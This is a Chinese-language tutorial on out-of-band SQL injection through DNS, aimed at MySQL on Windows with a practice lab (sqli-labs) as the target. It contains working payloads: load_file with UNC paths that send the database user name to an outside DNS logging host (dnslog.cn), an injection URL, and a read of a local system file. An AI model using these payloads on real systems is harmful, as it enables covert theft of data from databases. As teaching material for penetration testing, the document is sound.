利用DNS實現SQL注入帶外查詢(OOB)
根據用于數據檢索的傳輸信道,SQLi可分為三個獨立的類別:inference(經典SQL注入),inband(盲注、推理注入、帶內注入)和out-of-band
一、什么是OOB
out-of-band帶外數據(OOB)與inband相反,它是一種通過其他傳輸方式來竊取數據的技術(例如利用DNS解析協議和電子郵件)。OOB技術通常需要易受攻擊的實體生成出站TCP/UDP/ICMP請求,然后允許攻擊者泄露數據。OOB攻擊的成功基于出口防火墻規則,即是否允許來自易受攻擊的系統和外圍防火墻的出站請求。而從域名服務器(DNS)中提取數據,則被認為是最隱蔽有效的方法。
二、利用原理
1、常規SQL注入,獲取服務器信息的方式

2、SQL注入利用DNS獲取查詢結果(OOB)
我們需要一個三級域名服務器(nameserver)也是DNS服務器(DNS Server),也就是下圖的schloar服務器。
還需要配置域名“www.scholar.com”對應的解析IP地址為“schloar服務器”的IP地址。
這樣就能夠實時地監控域名查詢請求了,圖示如下:

三、利用條件
需要windows環境
1、DBMS中需要有可用的,能直接或間接引發DNS解析過程的子程序,即使用到UNC
2、Linux沒有UNC路徑,所以當處于Linux環境,不能使用該方式獲取數據
四、環境搭建
1、Windwos操作系統
2、Mysql數據庫服務
3、互聯網上有已經準備好的域名服務器和DNS服務器環境
DNSLog.cn
CEYE
五、OOB復現
1、首先打開DNSLog.cn網站

2、打開windows客戶端DOS
ping q5i9by.dnslog.cn
結果如下圖:

3、進入Windows客戶端Mysql服務
Go
select load_file("http:////xxx.q5i9by.dnslog.cn//x.txt");
select load_file(concat("\\\\",user(),".q5i9by.dnslog.cn//aa.txt"));

注:
1、\\轉義后即為\
2、concat將(1,2,3)拼接在一起形成123
六、利用SQL注入漏洞外帶查詢
直接上payload
Go
http://127.0.0.1/PTE/sqli-labs/Less-1/?id=1' and load_file(concat("\\\\",user(),".gq95nz.dnslog.cn\\xxx.txt"))--


七、OOB引申的擴展知識
1、Mysql內置函數load_file()不僅能對\www.test.com這樣的URL發起請求,還能夠加載本地文件,如下:
Go
select load_file("C:\\WINDOWS\\system32\\drivers\\etc\\hosts");

show variables like '%secure%';查看load_file()可以讀取的磁盤。
(1)當secure_file_priv為空,就可以讀取磁盤的目錄。
(2)當secure_file_priv為G:\,就可以讀取G盤的文件。
(3)當secure_file_priv為null,load_file就不能加載文件。
通過設置my.ini來配置。secure_file_priv=""就是可以load_flie任意磁盤的文件。

2、不同DBMS中使用的方法,參考如下鏈接
https://blog.csdn.net/u014029795/article/details/105214129
3、UNC定義
UNC是一種命名慣例, 主要用于在Microsoft Windows上指定和映射網絡驅動器.。UNC命名慣例最多被應用于在局域網中訪問文件服務器或者打印機。我們日常常用的網絡共享文件就是這個方式。UNC路徑就是類似\softer這樣的形式的網絡路徑
格式:\servername\sharename ,其中 servername 是服務器名,sharename 是共享資源的名稱。
目錄或文件的 UNC 名稱可以包括共享名稱下的目錄路徑,格式為:\servername\sharename\directory\filename
參考鏈接
https://blog.csdn.net/u014029795/article/details/105214129
https://www.freebuf.com/articles/web/201013.html
https://www.cnblogs.com/-qing-/p/10623583.html